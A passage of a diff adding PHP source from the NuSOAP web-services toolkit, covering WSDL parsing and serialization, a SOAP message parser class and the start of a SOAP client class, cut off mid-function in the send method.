+                                                        $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus],$attrs);
+                                                break;
+                                        }
+                                break;
+                                case "service":
+                                        switch($name){
+                                                case "port":
+                                                        $this->currentPort = $attrs['name'];
+                                                        $this->debug("current port: $this->currentPort");
+                                                        $this->ports[$this->currentPort]['binding'] = substr(strstr($attrs['binding'],":"),1);
+
+                                                break;
+                                                case "address":
+                                                        $this->ports[$this->currentPort]['location'] = $attrs['location'];
+                                                        $this->ports[$this->currentPort]['bindingType'] = $this->getNamespaceFromPrefix($prefix);
+                                                        $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $this->getNamespaceFromPrefix($prefix);
+                                                        $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location'];
+                                                        //echo "port $this->currentPort, has binding ".$this->ports[$this->currentPort]['binding']." and endpoint ".$attrs['location']."<br>";
+                                                break;
+                                        }
+                                break;
+                        }
+                        // set status
+                        switch($name){
+                                case "import":
+                                        if(isset($attrs['location'])){
+                                                $this->import[$attrs['namespace']] = $attrs['location'];
+                                        }
+                                break;
+                                case "types":
+                                        $this->status = "schema";
+                                break;
+                                case "message":
+                                        $this->status = "message";
+                                        $this->messages[$attrs["name"]] = array();
+                                        $this->currentMessage = $attrs["name"];
+                                break;
+                                case "portType":
+                                        $this->status = "portType";
+                                        $this->portTypes[$attrs["name"]] = array();
+                                        $this->currentPortType = $attrs["name"];
+                                break;
+                                case "binding":
+                                        if(isset($attrs['name'])){
+                                                // get binding name
+                                                if(ereg(":",$attrs['name'])){
+                                                        $this->currentBinding = substr(strstr($attrs['name'],":"),1);
+                                                        $prefix = substr($name,0,strpos($attrs['name'],":"));
+                                                } else {
+                                                        $this->currentBinding = $attrs['name'];
+                                                }
+                                                $this->status = "binding";
+                                                $this->bindings[$this->currentBinding]['portType'] = substr(strstr($attrs['type'],":"),1);
+                                                $this->debug("current binding: $this->currentBinding of portType: ".$attrs['type']);
+                                        }
+                                break;
+                                case "service":
+                                        $this->serviceName = $attrs["name"];
+                                        $this->status = "service";
+                                break;
+                                case "definitions":
+                                        foreach ($attrs as $name=>$value) {
+                                                $this->wsdl_info[$name]=$value;
+                                        }
+                                break;
+                        }
+                }
+        }
+
+        /**
+        * end-element handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $name element name
+        * @access   private
+        */
+        function end_element($parser, $name) {
+            // unset schema status
+                if(ereg('types$',$name) || ereg('schema$',$name)){
+                        $this->status = "";
+                }
+                if($this->status == 'schema'){
+                        $this->schemaEndElement($parser, $name);
+                } else {
+                        // position of current element is equal to the last value left in depth_array for my depth
+                        $pos = $this->depth_array[$this->depth];
+                        // bring depth down a notch
+                        $this->depth--;
+                }
+        // end documentation
+        if($this->documentation){
+                $this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation;
+                        $this->documentation = false;
+        }
+        }
+
+        /**
+        * element content handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $data element content
+        * @access   private
+        */
+        function character_data($parser, $data){
+                $pos = $this->depth_array[$this->depth];
+        $this->message[$pos]["cdata"] .= $data;
+        if($this->documentation){
+                $this->documentation .= $data;
+        }
+        }
+
+
+        function getBindingData($binding){
+                if(is_array($this->bindings[$binding])){
+                        return $this->bindings[$binding];
+                }
+        }
+
+        function getMessageData($operation,$portType,$msgType){
+                $name = $this->opData[$operation][$msgType]['message'];
+                $this->debug( "getting msgData for $name, using $operation,$portType,$msgType<br>" );
+                return $this->messages[$name];
+        }
+
+    /**
+    * returns an assoc array of operation names => operation data
+    * NOTE: currently only supports multiple services of differing binding types
+    * This method needs some work
+    *
+    * @param string $bindingType eg: soap, smtp, dime (only soap is currently supported)
+    * @return array
+    * @access public
+    */
+        function getOperations($bindingType = "soap"){
+                if($bindingType == "soap"){
+                        $bindingType = "http://schemas.xmlsoap.org/wsdl/soap/";
+                }
+                // loop thru ports
+                foreach($this->ports as $port => $portData){
+                        // binding type of port matches parameter
+                        if($portData['bindingType'] == $bindingType){
+                                // get binding
+                                return $this->bindings[ $portData['binding'] ]['operations'];
+                        }
+                }
+                return array();
+        }
+
+    /**
+    * returns an associative array of data necessary for calling an operation
+    *
+    * @param string $operation, name of operation
+    * @param string $bindingType, type of binding eg: soap
+        * @return array
+    * @access public
+    */
+        function getOperationData($operation,$bindingType="soap"){
+                if($bindingType == "soap"){
+                        $bindingType = "http://schemas.xmlsoap.org/wsdl/soap/";
+                }
+                // loop thru ports
+                foreach($this->ports as $port => $portData){
+                        // binding type of port matches parameter
+                        if($portData['bindingType'] == $bindingType){
+                                // get binding
+                                foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData){
+                                        if($operation == $bOperation){
+                                                return $opData;
+                                        }
+                                }
+                        }
+                }
+        }
+
+        /**
+        * serialize the parsed wsdl
+        *
+    * @return string, serialization of WSDL
+        * @access   public
+        */
+        function serialize(){
+                $xml = "<?xml version=\"1.0\"?><definitions";
+                foreach($this->namespaces as $k => $v){
+                        $xml .= " xmlns:$k=\"$v\"";
+                }
+                $xml .= ">";
+
+                // imports
+                if(sizeof($this->import) > 0){
+                        foreach($this->import as $ns => $url){
+                                $xml .= "<import location=\"$url\" namespace=\"$ns\" />\n";
+                        }
+                }
+
+                // types
+                if($this->schema){
+                        $xml .= "<types>";
+                        //$xml .= $this->serializeSchema();
+                        $xml .= "</types>";
+                }
+
+                // messages
+                if(count($this->messages) >= 1){
+                        foreach($this->messages as $msgName => $msgParts){
+                                $xml .= "<message name=\"$msgName\">";
+                                foreach($msgParts as $partName => $partType){
+                                        $xml .= "<part name=\"$partName\" type=\"$partType\" />";
+                                }
+                                $xml .= "</message>";
+                        }
+                }
+                // portTypes
+                if(count($this->portTypes) >= 1){
+                        foreach($this->portTypes as $portTypeName => $portOperations){
+                                $xml .= "<portType name=\"$portTypeName\">";
+                                foreach($portOperations as $portOperation => $parameterOrder){
+                                        $xml .= "<operation name=\"$portOperation\" parameterOrder=\"$parameterOrder\">";
+                                        foreach($this->portTypes[$portTypeName][$portOperation] as $name => $attrs){
+                                                $xml .= "<$name";
+                                                if(is_array($attrs)){
+                                                        foreach($attrs as $k => $v){
+                                                                $xml .= " $k=\"$v\"";
+                                                        }
+                                                }
+                                                $xml .= "/>";
+                                        }
+                                        $xml .= "</operation>";
+                                }
+                                $xml .= "</portType>";
+                        }
+                }
+                // bindings
+                if(count($this->bindings) >= 1){
+                        foreach($this->bindings as $bindingName => $attrs){
+                                $xml .= "<binding name=\"$msgName\" type=\"".$attrs["type"]."\">";
+                                $xml .= "<soap:binding style=\"".$attrs["style"]."\" transport=\"".$attrs["transport"]."\"/>";
+                                foreach($attrs["operations"] as $opName => $opParts){
+                                        $xml .= "<operation name=\"$opName\">";
+                                        $xml .= "<soap:operation soapAction=\"".$opParts["soapAction"]."\"/>";
+                                        $xml .= "<input>";
+                                        $xml .= "<soap:body use=\"".$opParts["input"]["use"]."\" namespace=\"".$opParts["input"]["namespace"]."\" encodingStyle=\"".$opParts["input"]["encodingStyle"]."\"/>";
+                                        $xml .= "</input>";
+                                        $xml .= "<output>";
+                                        $xml .= "<soap:body use=\"".$opParts["output"]["use"]."\" namespace=\"".$opParts["output"]["namespace"]."\" encodingStyle=\"".$opParts["output"]["encodingStyle"]."\"/>";
+                                        $xml .= "</output>";
+                                        $xml .= "</operation>";
+                                }
+                                $xml .= "</message>";
+                        }
+                }
+                // services
+                $xml .= "<service name=\"$this->serviceName\">";
+                if(count($this->ports) >= 1){
+                        foreach($this->ports as $pName => $attrs){
+                                $xml .= "<port name=\"$pName\" binding=\"".$attrs["binding"]."\">";
+                                $xml .= "soap:address location=\"".$attrs["location"]."\"/>";
+                                $xml .= "</port>";
+                        }
+                }
+                $xml .= "</service>";
+                return $xml."</definitions>";
+        }
+
+        /**
+        * serialize a PHP value according to a WSDL message definition
+        *
+    * TODO
+        * - only serialize namespaces used in the message
+        * - multi-ref serialization
+        * - validate PHP values against type definitions, return errors if invalid
+    * - probably more stuff :)
+    * - implement 'out' functionality or write new function for 'out' parameters
+    *
+        * @param        string type name
+        * @param        mixed param value
+        * @return        mixed new param or false if initial value didn't validate
+        */
+        function serializeRPCParameters($operation,$direction,$parameters){
+               if($direction != 'input' && $direction != 'output'){
+               $this->setError('The value of the \$direction argument needs to be either "input" or "output"');
+                return false;
+            }
+                if(!$opData = $this->getOperationData($operation)){
+                        return false;
+                }
+                $this->debug( "in serializeRPCParameters with xml schema version $this->XMLSchemaVersion");
+                // set input params
+                if(sizeof($opData[$direction]['parts']) > 0){
+                        foreach($opData[$direction]['parts'] as $name => $type){
+                                $xml .= $this->serializeType($name,$type,array_shift($parameters));
+                        }
+                }
+                return $xml;
+        }
+
+    /**
+    * serializes a PHP value according a given type definition
+    *
+    * @param string $name, name of type
+    * @param string $type, type of type, heh
+    * @param mixed $value, a native PHP value
+    * @return string serialization
+    * @access public
+    */
+    function serializeType($name,$type,$value){
+       $this->debug("in serializeType: $name, $type, $value");
+        if(strpos($type,':')){
+               $uqType = substr($type,strrpos($type,":")+1);
+            $ns = substr($type,0,strrpos($type,":"));
+            $this->debug("got a prefixed type: $uqType, $ns");
+            if($ns == $this->XMLSchemaVersion){
+               if($uqType == 'boolean' && !$value){
+                       $value = 0;
+                } elseif($uqType == 'boolean'){
+                       $value = 1;
+                }
+                if($uqType == 'string' && $this->charencoding){
+                       $value = htmlspecialchars($value);
+                }
+                // it's a scalar
+                return "<$name xsi:type=\"".$this->getPrefixFromNamespace($this->XMLSchemaVersion).":$uqType\">$value</$name>\n";
+            }
+        } else {
+               $uqType = $type;
+        }
+        $typeDef = $this->getTypeDef($uqType);
+        $phpType = $typeDef['phpType'];
+        $this->debug("serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: ".$typeDef['arrayType']);
+        // if php type == struct, map value to the <all> element names
+        if($phpType == "struct"){
+            $xml = "<$name xsi:type=\"".$this->getPrefixFromNamespace($ns).":$uqType\">\n";
+            if(is_array($this->complexTypes[$uqType]["elements"])){
+                foreach($this->complexTypes[$uqType]["elements"] as $eName => $attrs){
+                       // get value
+                       if(isset($value[$eName])){
+                        $v = $value[$eName];
+                       } elseif(is_array($value)) {
+                        $v = array_shift($value);
+                       }
+                       if(!isset($attrs['type'])){
+                        $xml .= $this->serializeType($eName,$attrs['name'],$v);
+                       } else {
+                        $this->debug("calling serialize_val() for $eName, $v, ".$this->getLocalPart($attrs['type']));
+                        $xml .= $this->serialize_val($v,$eName,$this->getLocalPart($attrs['type']),null,$this->getNamespaceFromPrefix($this->getPrefix($attrs['type'])));
+                       }
+                }
+            }
+            $xml .= "</$name>\n";
+               } elseif($phpType == "array"){
+               $rows = sizeof($value);
+            if($typeDef['multidimensional']){
+               $nv = array();
+                foreach($value as $v){
+                       $cols = ','.sizeof($v);
+                    $nv = array_merge($nv,$v);
+                }
+                $value = $nv;
+            }
+               if(is_array($value) && sizeof($value) >= 1){
+               foreach($value as $k => $v){
+                       if(strpos($typeDef['arrayType'],':')){
+                        $contents .= $this->serializeType('item',$typeDef['arrayType'],$v);
+                       } else {
+                        $contents .= $this->serialize_val($v,'item',$typeDef['arrayType'],null,$this->XMLSchemaVersion);
+                       }
+               }
+               }
+               $xml = "<$name xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').":Array\" ".
+                       $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/')
+                .":arrayType=\""
+                .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType']))
+                .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">\n"
+                .$contents
+                ."</$name>\n";
+        }
+       return $xml;
+       }
+}
+
+?>
+<?
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+*
+* soap_parser class parses SOAP XML messages
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @version  v 0.051
+* @access   public
+*/
+class soap_parser extends nusoap_base {
+        /**
+        * constructor
+        *
+        * @param    string $xml SOAP message
+        * @param    string $encoding character encoding scheme of message
+        * @access   public
+        */
+        function soap_parser($xml,$encoding="UTF-8",$method=""){
+                $this->xml = $xml;
+                $this->xml_encoding = $encoding;
+                $this->method = $method;
+                $this->root_struct = "";
+                $this->root_struct_name = "";
+                $this->root_header = "";
+                // determines where in the message we are (envelope,header,body,method)
+                $this->status = "";
+                $this->position = 0;
+                $this->depth = 0;
+                $this->default_namespace = "";
+                $this->namespaces = array();
+                $this->message = array();
+                $this->fault = false;
+                $this->fault_code = "";
+                $this->fault_str = "";
+                $this->fault_detail = "";
+                $this->errstr = "";
+                $this->depth_array = array();
+                $this->debug_flag = true;
+                $this->debug_str = "";
+                $this->soapresponse = NULL;
+                $this->responseHeaders = "";
+                // for multiref parsing:
+                // array of id => pos
+                $this->ids = array();
+                // array of id => hrefs => pos
+                $this->multirefs = array();
+
+                $this->entities = array ( "&" => "&amp;", "<" => "&lt;", ">" => "&gt;",
+                    "'" => "&apos;", '"' => "&quot;" );
+
+                // Check whether content has been read.
+        if(!empty($xml)){
+                        $this->debug("Entering soap_parser()");
+                        // Create an XML parser.
+                        $this->parser = xml_parser_create($this->xml_encoding);
+                        // Set the options for parsing the XML data.
+                        //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
+                        xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
+                        // Set the object for the parser.
+                        xml_set_object($this->parser, &$this);
+                        // Set the element handlers for the parser.
+                        xml_set_element_handler($this->parser, "start_element","end_element");
+                        xml_set_character_data_handler($this->parser,"character_data");
+                        //xml_set_default_handler($this->parser, "default_handler");
+
+                        // Parse the XML file.
+                        if(!xml_parse($this->parser,$xml,true)){
+                            // Display an error message.
+                            $err = sprintf("XML error on line %d: %s",
+                            xml_get_current_line_number($this->parser),
+                            xml_error_string(xml_get_error_code($this->parser)));
+                                $this->debug("parse error: $err");
+                                $this->errstr = $err;
+                } else {
+                                $this->debug("parsed successfully, found root struct: $this->root_struct of name $this->root_struct_name");
+                                // get final value
+                                $this->soapresponse = $this->message[$this->root_struct]['result'];
+                                // get header value
+                                if($this->root_header != ""){
+                                        $this->responseHeaders = $this->message[$this->root_header]['result'];
+                                }
+                        }
+                        xml_parser_free($this->parser);
+        } else {
+                        $this->debug("xml was empty, didn't parse!");
+                        $this->errstr = "xml was empty, didn't parse!";
+                }
+        }
+
+        /**
+        * start-element handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $name element name
+        * @param    string $attrs associative array of attributes
+        * @access   private
+        */
+        function start_element($parser, $name, $attrs) {
+                // position in a total number of elements, starting from 0
+                // update class level pos
+                $pos = $this->position++;
+                // and set mine
+                $this->message[$pos]["pos"] = $pos;
+                // depth = how many levels removed from root?
+                // set mine as current global depth and increment global depth value
+                $this->message[$pos]["depth"] = $this->depth++;
+
+                // else add self as child to whoever the current parent is
+                if($pos != 0){
+                        $this->message[$this->parent]["children"] .= "|$pos";
+                }
+                // set my parent
+                $this->message[$pos]["parent"] = $this->parent;
+                // set self as current parent
+                $this->parent = $pos;
+                // set self as current value for this depth
+                $this->depth_array[$this->depth] = $pos;
+                // get element prefix
+                if(strpos($name,":")){
+                        // get ns prefix
+                        $prefix = substr($name,0,strpos($name,":"));
+                        // get unqualified name
+                        $name = substr(strstr($name,":"),1);
+                }
+                // set status
+                if($name == "Envelope"){
+                        $this->status = "envelope";
+                } elseif($name == "Header"){
+                        $this->root_header = $pos;
+                        $this->status = "header";
+                } elseif($name == "Body"){
+                        $this->status = "body";
+                        $this->body_position = $pos;
+                // set method
+                } elseif($this->status == "body" && $pos == ($this->body_position+1)){
+                        //if($name == $this->method."Response" || $name == $this->method || $name == "Fault"){
+                                $this->status = "method";
+                                $this->root_struct_name = $name;
+                                $this->root_struct = $pos;
+                                $this->message[$pos]["type"] = "struct";
+                                $this->debug("found root struct $this->root_struct_name, pos $pos");
+                        //}
+                }
+                // set my status
+                $this->message[$pos]["status"] = $this->status;
+                // set name
+                $this->message[$pos]["name"] = htmlspecialchars($name);
+                // set attrs
+                $this->message[$pos]["attrs"] = $attrs;
+                // get namespace
+                if($prefix){
+                        $this->message[$pos]["namespace"] = $this->namespaces[$prefix];
+                        $this->default_namespace = $this->namespaces[$prefix];
+                } else {
+                        $this->message[$pos]["namespace"] = $this->default_namespace;
+                }
+                // loop through atts, logging ns and type declarations
+                foreach($attrs as $key => $value){
+
+                        // if ns declarations, add to class level array of valid namespaces
+                        if(strpos($key,'xmlns:')){
+                                $prefix = substr(strrchr($key,":"),1);
+                                if(ereg('^http://www.w3.org/[0-9]{4}/XMLSchema$',$value)){
+                                        global $XMLSchemaVersion,$namespaces;
+                                        $XMLSchemaVersion = $value;
+                                        $namespaces["xsd"] = $XMLSchemaVersion;
+                                        $namespaces["xsi"] = $XMLSchemaVersion."-instance";
+                                }
+                                $this->namespaces[substr(strrchr($key,":"),1)] = $value;
+                                // set method namespace
+                                if($name == $this->root_struct_name){
+                                        $this->methodNamespace = $value;
+                                }
+                        // if it's a type declaration, set type
+                        } elseif(strpos($key,":type")){
+                                $this->message[$pos]["type"] = substr(strrchr($value,":"),1);
+                                $this->message[$pos]["typePrefix"] = substr($value,0,strpos($key,":")-1);
+                                // should do something here with the namespace of specified type?
+                        } elseif(strpos($key,":arrayType")){
+                                $this->message[$pos]['type'] = 'array';
+                                /* do arrayType ereg here
+                                [1]    arrayTypeValue    ::=    atype asize
+                                [2]    atype    ::=    QName rank*
+                                [3]    rank    ::=    '[' (',')* ']'
+                                [4]    asize    ::=    '[' length~ ']'
+                                [5]    length    ::=    nextDimension* Digit+
+                                [6]    nextDimension    ::=    Digit+ ','
+                                */
+                                $expr = "([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]";
+                                if(ereg($expr,$value,$regs)){
+                                        $this->message[$pos]['typePrefix'] = $regs[1];
+                                        $this->message[$pos]['arraySize'] = $regs[3];
+                                        $this->message[$pos]['arrayCols'] = $regs[4];
+                                }
+                        }
+                        // log id
+                        if($key == "id"){
+                                $this->ids[$value] = $pos;
+                        }
+                        // root
+                        if(strpos($key,":root") && $value == 1){
+                                $this->status = "method";
+                                $this->root_struct_name = $name;
+                                $this->root_struct = $pos;
+                                $this->debug("found root struct $this->root_struct_name, pos $pos");
+                        }
+                }
+        }
+
+        /**
+        * end-element handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $name element name
+        * @access   private
+        */
+        function end_element($parser, $name) {
+                // position of current element is equal to the last value left in depth_array for my depth
+                $pos = $this->depth_array[$this->depth];
+                // bring depth down a notch
+                $this->depth--;
+
+                // build to native type
+                if($pos > $this->body_position){
+                        // deal w/ multirefs
+                        if(isset($this->message[$pos]['attrs']['href'])){
+                                // get id
+                                $id = substr($this->message[$pos]['attrs']['href'],1);
+                                // add placeholder to href array
+                                $this->multirefs[$id][$pos] = "placeholder";
+                                // add set a reference to it as the result value
+                                $this->message[$pos]['result'] =& $this->multirefs[$id][$pos];
+                        } elseif($this->message[$pos]['children'] != ""){
+                                $this->message[$pos]['result'] = $this->buildVal($pos);
+                        } else {
+                                $this->message[$pos]['result'] = $this->message[$pos]['cdata'];
+                        }
+                }
+
+                // switch status
+                if($pos == $this->root_struct){
+                        $this->status = "body";
+                } elseif(eregi(":Body",$name)){
+                        $this->status = "header";
+                 } elseif(eregi(":Header",$name)){
+                        $this->status = "envelope";
+                } elseif(eregi(":Envelope",$name)){
+                        // resolve hrefs/ids
+                        if(sizeof($this->multirefs) > 0){
+                                foreach($this->multirefs as $id => $hrefs){
+                                        $this->debug("resolving multirefs for id: $id");
+                                        foreach($hrefs as $refPos => $ref){
+                                                $this->debug("resolving href at pos $refPos");
+                                                $this->multirefs[$id][$refPos] = $this->buildval($this->ids[$id]);
+                                        }
+                                }
+                        }
+                }
+                // set parent back to my parent
+                $this->parent = $this->message[$pos]["parent"];
+        }
+
+        /**
+        * element content handler
+        *
+        * @param    string $parser XML parser object
+        * @param    string $data element content
+        * @access   private
+        */
+        function character_data($parser, $data){
+                $pos = $this->depth_array[$this->depth];
+                $this->message[$pos]["cdata"] .= $data;
+        }
+
+        /**
+        * get the parsed message
+        *
+        * @return        object SOAPx4 soap_val object
+        * @access   public
+        */
+        function get_response(){
+                return $this->soapresponse;
+        }
+
+        /**
+        * get the parsed headers
+        *
+        * @return        mixed object SOAPx4 soapval object or empty if no headers
+        * @access   public
+        */
+        function getHeaders(){
+            return $this->responseHeaders;
+        }
+
+        /**
+        * decodes entities
+        *
+        * @param    string $text string to translate
+        * @access   private
+        */
+        function decode_entities($text){
+                foreach($this->entities as $entity => $encoded){
+                        $text = str_replace($encoded,$entity,$text);
+                }
+                return $text;
+        }
+
+        /**
+        * builds response structures for compound values (arrays/structs)
+        *
+        * @param    string $pos position in node tree
+        * @access   private
+        */
+        function buildVal($pos){
+                // build self
+                $this->debug("inside buildVal() for ".$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]["type"]);
+                // if there are children...
+                if($this->message[$pos]["children"] != ""){
+                        $children = explode("|",$this->message[$pos]["children"]);
+                        array_shift($children); // knock off empty
+                        // loop thru them, getting params
+                        foreach($children as $child_pos){
+                               // md array
+                                if($this->message[$pos]['arrayCols']){
+                                       $this->debug("got an MD array element: $r, $c");
+                                       $params[$r][] = $this->message[$child_pos]['result'];
+                                    $c++;
+                                    if($c == $this->message[$pos]['arrayCols']){
+                                       $c = 0;
+                                        $r++;
+                                    }
+                                } elseif($this->message[$pos]['type'] == 'array'){
+                                       $params[] =& $this->message[$child_pos]['result'];
+                                } else {
+                                    $params[$this->message[$child_pos]["name"]] =& $this->message[$child_pos]['result'];
+                                }
+                        }
+                        return is_array($params) ? $params : array();
+                } else {
+                       //return $this->message[$pos]['cdata'];
+                    return  strtr($this->message[$pos]['cdata'],array_flip($this->entities));
+                }
+        }
+
+        /**
+        * for building SOAP header values
+        *
+        * @param    string $pos position in node tree
+        * @access   private
+        */
+        function buildSoapVal($pos){
+                // if there are children...
+                if($this->message[$pos]["children"] != ""){
+                        $children = explode("|",$this->message[$pos]["children"]);
+                        // loop thru them, getting params
+                        foreach($children as $c => $child_pos){
+                                if($this->message[$child_pos]["type"] != NULL) {
+                                        $this->debug("adding ".$this->message[$child_pos]["name"].", pos: $child_pos");
+                                        $params[] = $this->message[$child_pos]['result'];
+                            }
+                        }
+                }
+                // build self
+                $this->debug("building ".$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]["type"]);
+                if($params){
+                        return new soapval($this->message[$pos]["name"], $this->message[$pos]["type"] , $params);
+                } else {
+                        return new soapval($this->message[$pos]["name"], $this->message[$pos]["type"] , $this->message[$pos]["cdata"]);
+                }
+        }
+}
+
+?>
+<?php
+
+/**
+*
+* soapclient higher level class for easy usage.
+*
+* usage:
+*
+* // instantiate client with server info
+* $soapclient = new soapclient( string path [ ,boolean wsdl] );
+*
+* // call method, get results
+* echo $soapclient->call( string methodname [ ,array parameters] );
+*
+* // bye bye client
+* unset($soapclient);
+*
+* @author   Dietrich Ayala <dietricha@ganx4.com>
+* @version  v 0.6
+* @access   public
+*/
+class soapclient extends nusoap_base  {
+
+        var $username;
+        var $password;
+        var $requestHeaders = false;
+        var $responseHeaders;
+        var $endpoint;
+        var $portName;
+        var $error_str = false;
+
+        /**
+        * fault related variables
+        *
+        * @var      fault
+        * @var      faultcode
+        * @var      faultstring
+        * @var      faultdetail
+        * @access   public
+        */
+        var $fault, $faultcode, $faultstring, $faultdetail;
+
+        /**
+        * constructor
+        *
+        * @param    string $endpoint SOAP server or WSDL URL
+        * @param    string $wsdl optional, set to true if using WSDL
+        * @param        int $portName optional portName in WSDL document
+        * @access   public
+        */
+        function soapclient($endpoint,$wsdl="",$portName=""){
+                $this->endpoint = $endpoint;
+                $this->portName = $portName;
+
+                // make values
+                if($wsdl != ""){
+                        $this->endpointType = "wsdl";
+                        $this->wsdlFile = $this->endpoint;
+                        if($portName != ""){
+                                $this->portName = $portName;
+                        }
+                        // instantiate wsdl object and parse wsdl file
+                        $this->debug("instantiating wsdl class with doc: $endpoint");
+                        $this->wsdl = new wsdl($this->wsdlFile);
+                        // catch errors
+                        if($errstr = $this->wsdl->getError()){
+                                $this->debug("got wsdl error: $errstr");
+                                $this->debug("wsdl debug: \n".$this->wsdl->debug_str);
+                                $this->setError('wsdl error: '.$errstr);
+                        } elseif($this->operations = $this->wsdl->getOperations()){
+                                $this->debug( "got ".count($this->operations)." operations from wsdl $this->wsdlFile<br>");
+                        }
+                }
+        }
+
+        /**
+        * calls method, returns PHP native type
+        *
+        * @param    string $method SOAP server URL or path
+        * @param    array $params array of parameters, can be associative or not
+        * @param        string $namespace optional method namespace
+        * @param        string $soapAction optional SOAPAction value
+        * @param        boolean $headers optional array of soapval objects for headers
+        * @return        mixed
+        * @access   public
+        */
+        function call($operation,$params=array(),$namespace="",$soapAction="",$headers=false){
+                $this->operation = $operation;
+                $this->fault = false;
+                $this->error_str = "";
+                $this->request = "";
+                $this->response = "";
+                $this->faultstring = "";
+                $this->faultcode = "";
+                $this->opData = array();
+                // if wsdl, get operation data and process parameters
+                if($this->endpointType == "wsdl" && $opData = $this->getOperationData($operation)){
+
+                        $this->opData = $opData;
+                        $soapAction = $opData["soapAction"];
+                        $this->endpoint = $opData['endpoint'];
+                        $this->portName = $opData['portName'];
+                        $namespace = $opData['input']['namespace'];
+                        $style = $opData['style'];
+                        // add ns to ns array
+                        if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){
+                                $this->wsdl->namespaces['galactivism'] = $namespace;
+                        }
+                        // serialize payload
+                        if($style == 'rpc'){
+                                $payload .= "<".$this->wsdl->getPrefixFromNamespace($namespace).":$operation>\n".
+                                $this->wsdl->serializeRPCParameters($operation,'input',$params).
+                                "</".$this->wsdl->getPrefixFromNamespace($namespace).":$operation>\n";
+                        } elseif($opData['input']['use'] == 'literal') {
+                                $payload .= array_shift($params);
+                        }
+                        // serialize envelope
+                        $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$this->wsdl->usedNamespaces);
+                        $this->debug("wsdl debug: \n".$this->wsdl->debug_str);
+                } elseif($this->endpointType == "wsdl") {
+                        $this->setError( "operation $operation not present.");
+                        $this->debug("operation '$operation' not present.");
+                        $this->debug("wsdl debug: \n".$this->wsdl->debug_str);
+                        return false;
+                // no wsdl
+                } else {
+                        // make message
+                        if(!$style){
+                                $style = 'rpc';
+                        }
+                        // add ns to ns array
+                        if($namespace != ''){
+                                $this->namespaces['galactivism'] = $namespace;
+                        }
+                        // serialize envelope
+                        foreach($params as $k => $v){
+                                $payload .= $this->serialize_val($v,$k);
+                        }
+                        $payload = "<galactivism:$operation>\n".$payload."</galactivism:$operation>\n";
+                        $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders);
+                }
+                $this->debug("endpoint: $this->endpoint, soapAction: $soapAction, namespace: $namespace");
+                // send
+                $this->debug("sending msg (len: ".strlen($soapmsg).") w/ soapaction '$soapAction'...");
+                $return = $this->send($soapmsg,$soapAction);
+                if($errstr = $this->getError()){
+                        $this->debug("Error: $errstr");
+                        return false;
+                } else {
+                        $this->return = $return;
+                        $this->debug($dbg."sent message successfully and got a(n) ".gettype($return)." back");
+
+                        // fault?
+                        if(is_array($return) && $return['faultcode']){
+                                $this->debug("got fault");
+                                $this->setError($return['faultcode'].': '.$return['faultstring']);
+                                $this->fault = true;
+                                foreach($return as $k => $v){
+                                        $this->$k = $v;
+                                        $this->debug("$k = $v<br>");
+                                }
+                                return $return;
+                        } else {
+                                // array of return values
+                                if(is_array($return)){
+                                        // multiple 'out' parameters
+                                        if(sizeof($return) > 1){
+                                                return $return;
+                                        }
+                                        // single 'out' parameter
+                                        return array_shift($return);
+                                // nothing returned (ie, echoVoid)
+                                } else {
+                                        return "";
+                                }
+                        }
+                }
+        }
+
+        /**
+        * get available data pertaining to an operation
+        *
+        * @param    string $operation operation name
+        * @return        array array of data pertaining to the operation
+        * @access   public
+        */
+        function getOperationData($operation){
+                if(isset($this->operations[$operation])){
+                        return $this->operations[$operation];
+                }
+        }
+
+    /**
+    * send the SOAP message
+    *
+    * Note: if the operation has multiple return values
+    * the return value of this method will be an array
+    * of those values.
+    *
+        * @param    string $msg a SOAPx4 soapmsg object
+        * @param    string $soapaction SOAPAction value
+        * @param    integer $timeout set timeout in seconds
+        * @return        mixed native PHP types.
+        * @access   public
+        */
+        function send($msg, $soapaction = "", $timeout=0) {
+                // detect transport
+                switch(true){
+                        // http(s)
+                        case ereg('^http',$this->endpoint):
+                                $this->debug('transporting via HTTP');
+                                //require_once('class.soap_transport_http.php');
+                                $http = new soap_transport_http($this->endpoint);
+                                $http->setSOAPAction($soapaction);
+                                if($this->proxyhost && $this->proxyport){
+                                        $http->setProxy($this->proxyhost,$this->proxyport);
+                                }
+                                $this->debug('sending message, length: '.strlen($msg));
+                        if(ereg('^http:',$this->endpoint)){
+                                        $response = $http->send($msg,$timeout);
+                        } elseif(ereg('^https',$this->endpoint)){
